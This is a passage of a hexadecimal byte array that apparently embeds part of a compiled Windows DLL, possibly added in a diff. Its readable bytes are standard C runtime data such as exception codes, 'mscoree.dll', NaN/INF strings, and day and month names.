0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x6e, 0x00, + 0x75, 0x00, 0x6c, 0x00, 0x6c, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x6e, 0x75, 0x6c, 0x6c, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0xc0, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x96, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x8d, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0xc0, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8f, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x91, 0x00, 0x00, 0xc0, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x92, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb4, 0x02, 0x00, 0xc0, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb5, 0x02, 0x00, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x63, 0x00, 0x6f, 0x00, + 0x72, 0x00, 0x65, 0x00, 0x65, 0x00, 0x2e, 0x00, 0x64, 0x00, 0x6c, 0x00, + 0x6c, 0x00, 0x00, 0x00, 0x43, 0x6f, 0x72, 0x45, 0x78, 0x69, 0x74, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00, 0xc0, 0x60, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0c, 0x61, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa8, 0x8c, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xdc, 0x8c, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xf8, 0x60, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf8, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x58, 0x8e, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xbc, 0x8e, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x78, 0xa9, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x94, 0xa9, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4c, 0x61, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0x6a, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x54, 0x6a, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0c, 0x87, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x87, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa8, 0xa6, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf8, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe4, 0xa2, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x94, 0x61, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x61, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf8, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xfc, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0x60, 0x00, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf8, 0x60, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x0a, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0x11, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0x35, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x50, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0x57, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, + 0x0b, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0x6d, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, + 0x1c, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x80, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, + 0x0a, 0x00, 0x00, 0x00, 0x82, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, + 0x83, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, + 0x0d, 0x00, 0x00, 0x00, 0x91, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, + 0x9e, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0xa1, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, + 0xa7, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0xb7, 0x00, 0x00, 0x00, + 0x11, 0x00, 0x00, 0x00, 0xce, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0xd7, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x59, 0x04, 0x00, 0x00, + 0x2a, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe0, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe4, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe4, 0x3a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe8, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe8, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xec, 0x3a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xec, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xf0, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe8, 0x3a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x3b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xec, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x3b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xe8, 0x3a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x20, 0x3b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xec, 0x3a, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x49, 0x4e, 0x46, 0x00, 0x69, 0x6e, 0x66, 0x00, + 0x4e, 0x41, 0x4e, 0x00, 0x6e, 0x61, 0x6e, 0x00, 0x4e, 0x41, 0x4e, 0x28, + 0x53, 0x4e, 0x41, 0x4e, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6e, 0x61, 0x6e, 0x28, 0x73, 0x6e, 0x61, 0x6e, 0x29, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4e, 0x41, 0x4e, 0x28, 0x49, 0x4e, 0x44, 0x29, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e, 0x61, 0x6e, 0x28, + 0x69, 0x6e, 0x64, 0x29, 0x00, 0x00, 0x00, 0x00, 0x65, 0x2b, 0x30, 0x30, + 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x04, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0c, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x10, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x14, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x18, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1c, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x24, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x38, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x48, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x54, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x60, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x6c, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x70, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x74, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x78, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x7c, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x84, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x88, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x8c, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x90, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x94, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x98, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xa0, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa8, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xb4, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xbc, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x7c, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xc4, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xcc, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xe0, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x3e, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf8, 0x3e, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x14, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x18, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x20, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x60, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x68, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x78, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x88, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x90, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xa0, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xb0, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc0, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd8, 0x3f, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x28, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x30, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x38, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x40, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x50, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x58, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x60, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x68, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x70, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x78, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x88, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xa0, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xb0, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x38, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xc0, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd0, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x40, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xf0, 0x40, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x08, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x18, 0x41, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x44, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x41, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x58, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x70, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x98, 0x41, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xb0, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x53, 0x75, 0x6e, 0x00, 0x4d, 0x6f, 0x6e, 0x00, 0x54, 0x75, 0x65, 0x00, + 0x57, 0x65, 0x64, 0x00, 0x54, 0x68, 0x75, 0x00, 0x46, 0x72, 0x69, 0x00, + 0x53, 0x61, 0x74, 0x00, 0x53, 0x75, 0x6e, 0x64, 0x61, 0x79, 0x00, 0x00, + 0x4d, 0x6f, 0x6e, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x54, 0x75, 0x65, 0x73, 0x64, 0x61, 0x79, 0x00, 0x57, 0x65, 0x64, 0x6e, + 0x65, 0x73, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x54, 0x68, 0x75, 0x72, 0x73, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, + 0x46, 0x72, 0x69, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x53, 0x61, 0x74, 0x75, 0x72, 0x64, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, + 0x4a, 0x61, 0x6e, 0x00, 0x46, 0x65, 0x62, 0x00, 0x4d, 0x61, 0x72, 0x00, + 0x41, 0x70, 0x72, 0x00, 0x4d, 0x61, 0x79, 0x00, 0x4a, 0x75, 0x6e, 0x00, + 0x4a, 0x75, 0x6c, 0x00, 0x41, 0x75, 0x67, 0x00, 0x53, 0x65, 0x70, 0x00, + 0x4f, 0x63, 0x74, 0x00, 0x4e, 0x6f, 0x76, 0x00, 0x44, 0x65, 0x63, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x79, 0x00, + 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x79, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x61, 0x72, 0x63, 0x68, 0x00, 0x00, 0x00, 0x41, 0x70, 0x72, 0x69, + 0x6c, 0x00, 0x00, 0x00, 0x4a, 0x75, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, + 0x4a, 0x75, 0x6c, 0x79, 0x00, 0x00, 0x00, 0x00, 0x41, 0x75, 0x67, 0x75, + 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x65, 0x70, 0x74, + 0x65, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4f, 0x63, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x00, 0x4e, 0x6f, 0x76, 0x65, + 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, + 0x41, 0x4d, 0x00, 0x00, 0x50, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x4d, 0x2f, 0x64, 0x64, 0x2f, 0x79, 0x79, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x64, 0x64, 0x64, 0x64, 0x2c, 0x20, 0x4d, 0x4d, + 0x4d, 0x4d, 0x20, 0x64, 0x64, 0x2c, 0x20, 0x79, 0x79, 0x79, 0x79, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x3a, 0x6d, 0x6d, 0x3a, 0x73, 0x73, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x75, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x00, 0x00, + 0x54, 0x00, 0x75, 0x00, 0x65, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, + 0x64, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00, 0x75, 0x00, 0x00, 0x00, + 0x46, 0x00, 0x72, 0x00, 0x69, 0x00, 0x00, 0x00, 0x53, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x00, 0x00, 0x53, 0x00, 0x75, 0x00, 0x6e, 0x00, 0x64, 0x00, + 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x6f, 0x00, + 0x6e, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x54, 0x00, 0x75, 0x00, 0x65, 0x00, 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, + 0x79, 0x00, 0x00, 0x00, 0x57, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6e, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x68, 0x00, 0x75, 0x00, 0x72, 0x00, + 0x73, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x72, 0x00, 0x69, 0x00, 0x64, 0x00, + 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00, 0x61, 0x00, + 0x74, 0x00, 0x75, 0x00, 0x72, 0x00, 0x64, 0x00, 0x61, 0x00, 0x79, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x61, 0x00, + 0x6e, 0x00, 0x00, 0x00, 0x46, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x00, + 0x4d, 0x00, 0x61, 0x00, 0x72, 0x00, 0x00, 0x00, 0x41, 0x00, 0x70, 0x00, + 0x72, 0x00, 0x00, 0x00, 0x4d, 0x00, 0x61, 0x00, 0x79, 0x00, 0x00, 0x00, + 0x4a, 0x00, 0x75, 0x00, 0x6e, 0x00, 